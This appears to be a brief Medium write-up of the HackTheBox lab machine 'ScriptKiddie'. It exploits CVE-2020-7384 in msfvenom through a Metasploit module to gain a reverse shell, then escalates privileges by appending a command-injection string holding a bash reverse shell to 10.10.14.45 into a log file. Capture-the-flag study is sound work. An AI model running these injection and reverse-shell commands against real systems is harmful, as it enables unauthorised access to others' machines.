Hackthebox: ScriptKiddie

CVE-2020–7384: MsfVenom APK template command injection.

https://www.rapid7.com/db/modules/exploit/unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection/

fire up metasploit

use exploit/unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection

copy your payload from /root/.msf4/local/msf.apk

then upload your msf.apk payload here.

but before you click generate, you must prepare your listener first.

now we successfully establish our reverse shell.

python3 -c ‘import pty; pty.spawn(“bash”)’

for standard shell.

get the user.txt flag.

horizontal privilege escalation.

the log variable reads the file called hackers as argument.

so we’re gonna put an argument script into hackers file.

echo “ ;/bin/bash -c ‘bash -i >& /dev/tcp/10.10.14.45/1337 0>&1’ #” >> hackers

we can use msfconsole without using root password.

Sign up to discover human stories that deepen your understanding of the world.

Membership

Read member-only stories

Support writers you read most

Earn money for your writing

Listen to audio narrations

Read offline with the Medium app

edbert sumicad
edbert sumicad

Written by edbert sumicad

Cybersecurity Analyst | Penetration Tester | CTF Player

No responses yet

Write a response